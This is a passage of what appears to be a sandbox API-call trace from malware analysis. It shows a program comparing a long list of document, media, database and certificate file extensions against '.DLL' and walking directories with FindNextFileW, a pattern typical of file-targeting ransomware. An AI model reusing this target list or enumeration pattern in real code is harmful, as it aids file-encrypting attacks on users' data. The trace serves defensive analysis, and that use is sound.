(lpString=".cs") returned 3 [0264.198] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0264.198] lstrlenW (lpString=".css") returned 4 [0264.198] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0264.198] lstrlenW (lpString=".csv") returned 4 [0264.199] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".cub") returned 4 [0264.199] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dae") returned 4 [0264.199] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dat") returned 4 [0264.199] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".db") returned 3 [0264.199] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0264.199] lstrlenW (lpString=".dbf") returned 4 [0264.199] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dbx") returned 4 [0264.199] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dc3") returned 4 [0264.199] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dcm") returned 4 [0264.199] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dcr") returned 4 [0264.199] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".der") returned 4 [0264.199] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dib") returned 4 [0264.199] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dic") returned 4 [0264.199] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".dif") returned 4 [0264.199] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0264.199] lstrlenW (lpString=".divx") returned 5 [0264.199] lstrcmpiW (lpString1=".divx", lpString2="N.DLL") returned -1 [0264.199] lstrlenW (lpString=".djvu") returned 5 [0264.199] lstrcmpiW (lpString1=".djvu", lpString2="N.DLL") returned -1 [0264.199] lstrlenW (lpString=".dng") returned 4 [0264.199] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0264.199] lstrlenW (lpString=".doc") returned 4 [0264.200] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".docm") returned 5 [0264.200] lstrcmpiW (lpString1=".docm", lpString2="N.DLL") returned -1 [0264.200] lstrlenW (lpString=".docx") returned 5 [0264.200] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0264.200] lstrlenW (lpString=".dot") returned 4 [0264.200] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dotm") returned 5 [0264.200] lstrcmpiW (lpString1=".dotm", lpString2="N.DLL") returned -1 [0264.200] lstrlenW (lpString=".dotx") returned 5 [0264.200] lstrcmpiW (lpString1=".dotx", lpString2="N.DLL") returned -1 [0264.200] lstrlenW (lpString=".dpx") returned 4 [0264.200] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dqy") returned 4 [0264.200] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dsn") returned 4 [0264.200] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dt") returned 3 [0264.200] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0264.200] lstrlenW (lpString=".dtd") returned 4 [0264.200] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dwg") returned 4 [0264.200] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dwt") returned 4 [0264.200] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".dx") returned 3 [0264.200] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0264.200] lstrlenW (lpString=".dxf") returned 4 [0264.200] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0264.200] lstrlenW (lpString=".edml") returned 5 [0264.200] lstrcmpiW (lpString1=".edml", lpString2="N.DLL") returned -1 [0264.200] lstrlenW (lpString=".efd") returned 4 [0264.200] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".elf") returned 4 [0264.201] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".emf") returned 4 [0264.201] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".emz") returned 4 [0264.201] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".epf") returned 4 [0264.201] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".eps") returned 4 [0264.201] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".epsf") returned 5 [0264.201] lstrcmpiW (lpString1=".epsf", lpString2="N.DLL") returned -1 [0264.201] lstrlenW (lpString=".epsp") returned 5 [0264.201] lstrcmpiW (lpString1=".epsp", lpString2="N.DLL") returned -1 [0264.201] lstrlenW (lpString=".erf") returned 4 [0264.201] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".exr") returned 4 [0264.201] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".f4v") returned 4 [0264.201] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".fido") returned 5 [0264.201] lstrcmpiW (lpString1=".fido", lpString2="N.DLL") returned -1 [0264.201] lstrlenW (lpString=".flm") returned 4 [0264.201] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".flv") returned 4 [0264.201] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".frm") returned 4 [0264.201] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".fxg") returned 4 [0264.201] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".geo") returned 4 [0264.201] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".gif") returned 4 [0264.201] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0264.201] lstrlenW (lpString=".grs") returned 4 [0264.202] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".gz") returned 3 [0264.202] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0264.202] lstrlenW (lpString=".h") returned 2 [0264.202] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0264.202] lstrlenW (lpString=".hdr") returned 4 [0264.202] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".hpp") returned 4 [0264.202] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".hta") returned 4 [0264.202] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".htc") returned 4 [0264.202] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".htm") returned 4 [0264.202] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".html") returned 5 [0264.202] lstrcmpiW (lpString1=".html", lpString2="N.DLL") returned -1 [0264.202] lstrlenW (lpString=".icb") returned 4 [0264.202] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".ics") returned 4 [0264.202] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".iff") returned 4 [0264.202] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".inc") returned 4 [0264.202] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".indd") returned 5 [0264.202] lstrcmpiW (lpString1=".indd", lpString2="N.DLL") returned -1 [0264.202] lstrlenW (lpString=".ini") returned 4 [0264.202] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".iqy") returned 4 [0264.202] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".j2c") returned 4 [0264.202] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0264.202] lstrlenW (lpString=".j2k") returned 4 [0264.202] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".java") returned 5 [0264.203] lstrcmpiW (lpString1=".java", lpString2="N.DLL") returned -1 [0264.203] lstrlenW (lpString=".jp2") returned 4 [0264.203] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".jpc") returned 4 [0264.203] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".jpe") returned 4 [0264.203] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".jpeg") returned 5 [0264.203] lstrcmpiW (lpString1=".jpeg", lpString2="N.DLL") returned -1 [0264.203] lstrlenW (lpString=".jpf") returned 4 [0264.203] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".jpg") returned 4 [0264.203] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".jpx") returned 4 [0264.203] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".js") returned 3 [0264.203] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0264.203] lstrlenW (lpString=".jsf") returned 4 [0264.203] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".json") returned 5 [0264.203] lstrcmpiW (lpString1=".json", lpString2="N.DLL") returned -1 [0264.203] lstrlenW (lpString=".jsp") returned 4 [0264.203] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".kdc") returned 4 [0264.203] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".kmz") returned 4 [0264.203] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0264.203] lstrlenW (lpString=".kwm") returned 4 [0264.203] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".lasso") returned 6 [0264.204] lstrcmpiW (lpString1=".lasso", lpString2="WN.DLL") returned -1 [0264.204] lstrlenW (lpString=".lbi") returned 4 [0264.204] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".lgf") returned 4 [0264.204] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".lgp") returned 4 [0264.204] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".log") returned 4 [0264.204] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".m1v") returned 4 [0264.204] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".m4a") returned 4 [0264.204] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".m4v") returned 4 [0264.204] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".max") returned 4 [0264.204] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0264.204] lstrlenW (lpString=".md") returned 3 [0264.205] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0264.205] lstrlenW (lpString=".mda") returned 4 [0264.205] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mdb") returned 4 [0264.205] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mde") returned 4 [0264.205] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mdf") returned 4 [0264.205] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mdw") returned 4 [0264.205] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mef") returned 4 [0264.205] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mft") returned 4 [0264.205] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mfw") returned 4 [0264.205] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mht") returned 4 [0264.205] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mhtml") returned 6 [0264.205] lstrcmpiW (lpString1=".mhtml", lpString2="WN.DLL") returned -1 [0264.205] lstrlenW (lpString=".mka") returned 4 [0264.205] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mkidx") returned 6 [0264.205] lstrcmpiW (lpString1=".mkidx", lpString2="WN.DLL") returned -1 [0264.205] lstrlenW (lpString=".mkv") returned 4 [0264.205] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mos") returned 4 [0264.205] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mov") returned 4 [0264.205] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mp3") returned 4 [0264.205] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mp4") returned 4 [0264.205] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0264.205] lstrlenW (lpString=".mpeg") returned 5 [0264.206] lstrcmpiW (lpString1=".mpeg", lpString2="N.DLL") returned -1 [0264.206] lstrlenW (lpString=".mpg") returned 4 [0264.206] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".mpv") returned 4 [0264.206] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".mrw") returned 4 [0264.206] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".msg") returned 4 [0264.206] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".mxl") returned 4 [0264.206] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".myd") returned 4 [0264.206] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".myi") returned 4 [0264.206] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".nef") returned 4 [0264.206] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".nrw") returned 4 [0264.206] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".obj") returned 4 [0264.206] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".odb") returned 4 [0264.206] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".odc") returned 4 [0264.206] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".odm") returned 4 [0264.206] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".odp") returned 4 [0264.206] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".ods") returned 4 [0264.206] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".oft") returned 4 [0264.206] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0264.206] lstrlenW (lpString=".one") returned 4 [0264.206] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".onepkg") returned 7 [0264.207] lstrcmpiW (lpString1=".onepkg", lpString2="DWN.DLL") returned -1 [0264.207] lstrlenW (lpString=".onetoc2") returned 8 [0264.207] lstrcmpiW (lpString1=".onetoc2", lpString2="LDWN.DLL") returned -1 [0264.207] lstrlenW (lpString=".opt") returned 4 [0264.207] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".oqy") returned 4 [0264.207] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".orf") returned 4 [0264.207] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".p12") returned 4 [0264.207] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".p7b") returned 4 [0264.207] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".p7c") returned 4 [0264.207] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pam") returned 4 [0264.207] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pbm") returned 4 [0264.207] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pct") returned 4 [0264.207] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pcx") returned 4 [0264.207] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pdd") returned 4 [0264.207] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pdf") returned 4 [0264.207] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pdp") returned 4 [0264.207] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pef") returned 4 [0264.207] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0264.207] lstrlenW (lpString=".pem") returned 4 [0264.207] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pff") returned 4 [0264.208] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pfm") returned 4 [0264.208] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pfx") returned 4 [0264.208] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pgm") returned 4 [0264.208] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".php") returned 4 [0264.208] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".php3") returned 5 [0264.208] lstrcmpiW (lpString1=".php3", lpString2="N.DLL") returned -1 [0264.208] lstrlenW (lpString=".php4") returned 5 [0264.208] lstrcmpiW (lpString1=".php4", lpString2="N.DLL") returned -1 [0264.208] lstrlenW (lpString=".php5") returned 5 [0264.208] lstrcmpiW (lpString1=".php5", lpString2="N.DLL") returned -1 [0264.208] lstrlenW (lpString=".phtml") returned 6 [0264.208] lstrcmpiW (lpString1=".phtml", lpString2="WN.DLL") returned -1 [0264.208] lstrlenW (lpString=".pict") returned 5 [0264.208] lstrcmpiW (lpString1=".pict", lpString2="N.DLL") returned -1 [0264.208] lstrlenW (lpString=".pl") returned 3 [0264.208] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0264.208] lstrlenW (lpString=".pls") returned 4 [0264.208] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pm") returned 3 [0264.208] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0264.208] lstrlenW (lpString=".png") returned 4 [0264.208] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pnm") returned 4 [0264.208] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0264.208] lstrlenW (lpString=".pot") returned 4 [0264.209] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".potm") returned 5 [0264.209] lstrcmpiW (lpString1=".potm", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".potx") returned 5 [0264.209] lstrcmpiW (lpString1=".potx", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".ppa") returned 4 [0264.209] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".ppam") returned 5 [0264.209] lstrcmpiW (lpString1=".ppam", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".ppm") returned 4 [0264.209] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".pps") returned 4 [0264.209] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".ppsm") returned 5 [0264.209] lstrcmpiW (lpString1=".ppsm", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".ppt") returned 4 [0264.209] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".pptm") returned 5 [0264.209] lstrcmpiW (lpString1=".pptm", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".pptx") returned 5 [0264.209] lstrcmpiW (lpString1=".pptx", lpString2="N.DLL") returned -1 [0264.209] lstrlenW (lpString=".prn") returned 4 [0264.209] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".ps") returned 3 [0264.209] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0264.209] lstrlenW (lpString=".psb") returned 4 [0264.209] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".psd") returned 4 [0264.209] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".pst") returned 4 [0264.209] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".ptx") returned 4 [0264.209] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0264.209] lstrlenW (lpString=".pub") returned 4 [0264.209] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".pwm") returned 4 [0264.210] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".pxr") returned 4 [0264.210] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".py") returned 3 [0264.210] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0264.210] lstrlenW (lpString=".qt") returned 3 [0264.210] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0264.210] lstrlenW (lpString=".r3d") returned 4 [0264.210] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".raf") returned 4 [0264.210] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".rar") returned 4 [0264.210] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0264.210] lstrlenW (lpString=".raw") returned 4 [0264.210] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1 [0264.214] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x30d, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTE.CFG", cAlternateFileName="")) returned 1 [0264.217] RtlpDeCommitFreeBlock () [0264.217] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x372f310 | out: lpFindFileData=0x372f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0264.218] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0264.218] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4598148 | out: hHeap=0x540000) returned 1 [0264.218] FindNextFileW (in: hFindFile=0x63ee08, lpFindFileData=0x372f58c | out: lpFindFileData=0x372f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0264.218] RtlpDeCommitFreeBlock () [0264.218] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0264.219] RtlpDeCommitFreeBlock () [0264.219] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0264.219] RtlpDeCommitFreeBlock () [0264.219] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: lpFindFileData=0x372ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0264.219] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0264.219] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0264.219] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0264.220] RtlpDeCommitFreeBlock () [0264.220] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x372ee18 | out: 